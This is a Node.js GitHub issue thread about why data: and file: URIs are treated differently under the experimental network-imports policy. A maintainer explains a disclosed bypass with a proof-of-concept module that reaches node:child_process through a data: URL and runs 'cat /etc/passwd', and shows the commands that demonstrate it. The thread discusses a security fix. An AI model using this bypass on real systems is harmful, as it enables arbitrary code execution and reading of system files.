Security question: Why are data: URIs and file: URIs treated differently in your security policy? #53815

Activity

1. eligrey

   changed the title [-]Security question: why are data: URIs and file: URIs treated differently in your security policy?[/-] [+]Security question: Why are data: URIs and file: URIs treated differently in your security policy?[/+] on Jul 11, 2024
2. avivkeller commented on Jul 11, 2024

   

   avivkeller

   on Jul 11, 2024

   Last edited by avivkeller

   Member

   More actions

   @nodejs/security-wg
   CC @RafaelGSS
3. avivkeller

   added

   questionIssues asking questions about Node.js.Issues asking questions about Node.js.

   securityIssues and PRs related to security.Issues and PRs related to security.

   on Jul 11, 2024
4. RafaelGSS commented on Jul 12, 2024

   

   RafaelGSS

   on Jul 12, 2024

   Member

   More actions

   So I couple of things first:

   1. The report was disclosed limited, so that's explains why you can only read the summary:

   A security flaw in Node.js allows a bypass of network import restrictions.
   By embedding non-network imports in data URLs, an attacker can execute arbitrary code, compromising system security.
   Verified on various platforms, the vulnerability is mitigated by forbidding data URLs in network imports.
   Exploiting this flaw can violate network import security, posing a risk to developers and servers.

   I will try to adjust it either way.

   2. I believe your question is unrelated to the vulnerability itself. I will provide more details about the report, but I might not be the best person to explain our resolvers.

   Imagine you have an HTTP server with two routes:

   1. /indirect -> returns a

   import childProcess from 'data:text/javascript,export { default } from "node:child_process"'
   import http from 'data:text/javascript,export { default } from "node:http"'
   
   console.log('BYPASSED')
   const data = childProcess.execSync('cat /etc/passwd')
   

   2. /direct -> returns a import fs from 'node:fs/promises'

   While the /direct route produces the expected result:

   $ node --experimental-network-imports --import 'http://127.0.0.1:9999/direct.mjs' --eval ''
   
   Error [ERR_NETWORK_IMPORT_DISALLOWED]: import of 'node:fs/promises' by http://localhost:9999/direct.mjs is not supported: only relative and absolute specifiers are supported.

   the /indirect is a bypass of this feature's expectations

   $ node --experimental-network-imports --import 'http://127.0.0.1:9999/indirect.mjs' --eval ''
   BYPASS
5. RafaelGSS commented on Jul 12, 2024

   

   RafaelGSS

   on Jul 12, 2024

   Member

   More actions

   Also note, that we are discussing removing this feature entirely #53822.
6. eligrey commented on Jul 12, 2024

   

   eligrey

   on Jul 12, 2024

   Last edited by eligrey

   Author

   More actions

   Your response does not acknowledge my question about file: URIs.

   I am repeating my question: Why are data: URIs treated differently from file: URIs? Attackers can simply write to a file and then import it to achieve the same effect.
8. RafaelGSS

   closed this as completedon Jul 12, 2024